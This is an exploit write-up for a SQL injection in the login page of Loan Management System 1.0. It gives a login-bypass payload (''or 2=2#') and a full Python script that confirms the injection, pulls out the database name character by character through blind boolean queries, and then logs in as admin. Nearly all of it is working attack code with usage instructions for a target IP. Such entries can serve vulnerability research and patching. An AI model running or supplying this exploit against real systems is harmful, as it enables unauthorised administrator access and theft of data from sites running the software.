Loan Management System 1.0 SQL Injection

# Exploit Title: Loan Management System - SQL Injection via login page# Date: 28/07/2022# Exploit Author: saitamang# Vendor Homepage: sourcecodester# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip# Version: 1.0# Tested on: Centos 7 apache2 + MySQL# The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.# Payload --> 'or 2=2## The python script to get the database name from SQL Injection Vulnerability can be execute below.import requests, string, sys, warnings, time, concurrent.futuresfrom requests.packages.urllib3.exceptions import InsecureRequestWarningwarnings.simplefilter('ignore',InsecureRequestWarning)dbname = ''req = requests.Session()def login(ip,username,password):      target = "http://%s/LMS/login.php" %ip    data = {'username': username,'password':password, 'login':''}    response = req.post(target, data=data)    if 'Login Successful' in response.text:        print("[$] Success Login with credentials "+username+":"+password+"")    else:        print("[$] Failed Login with credentials "+username+":"+password+"")def check_injection():    # library inj    test_query0 = "'or 1=2#"    test_query1 = "'or 2=2#"    target = "http://%s/LMS/login.php" %ip    result = ""    for i in range(2):        if i==0:            data = {'username': test_query0,'password':password, 'login':''}            response = req.post(target, data=data)            if response.text=="success":                result = response.text            else:                pass        if i==1:            data = {'username': test_query1,'password':password, 'login':''}            response = req.post(target, data=data)            if response.text=="success":                result = response.text            else:                pass    if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":        print("[##] SQLI Boolean-Based Present at password field :)")    else:        print("[##] No SQLI :)")def brute(dbname,password):    target = "http://%s/LMS/login.php" %ip    l=0    # checking length of dbname star with i = 1    for i in (n+1 for n in range(9)):        payload = "'or 2=2 and length(database())='"+ str(i) +"'#"        #print(payload)            data = {'username': payload,'password':password, 'login':''}        response = req.post(target, data=data)        result = response.text        #print(result)        if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":            print("[##] The correct length of DB name is "+str(i))            l=i            break        else:            print("[##] The length of DB name "+str(i)+" is wrong")            pass    char = [char for char in string.ascii_lowercase]    char.append('_')    #print(char)    dbname = []    for i in range(l):        for j in char:            payload = "'or 2=2 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"                        data = {'username': payload,'password':password, 'login':''}            response = req.post(target, data=data)            result = response.text            #print(payload)            #print(result)            if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":                dbname.append(j)                print("[+] The " + str(i+1) + " char of DB name is "+str(j))                break            else:                pass    dbname = ''.join(dbname)        print("[+] Database name retrieved --> "+dbname)    print("[+] Bypass completed :)")    print("[+] Bypass payload can be used is \n'or 2=2#")    username = "'or 2=2#"    print("\nRetry to login with new payload in password field")    login(ip,username,password)if __name__ == "__main__":    print("   _____       _ __                                   ")    print("  / ___/____ _(_) /_____ _____ ___  ____ _____  ____ _")    print("  \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")    print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")    print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, /  ")    print("                                             /____/   \n\n")    try:        ip = sys.argv[1].strip()        username = sys.argv[2].strip()        password = sys.argv[3].strip()        login(ip,username,password)        check_injection()        brute(dbname,password)            except IndexError:        print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])        print("[-] Example: %s 192.168.149.130 admin admin123" % sys.argv[0])    sys.exit(-1)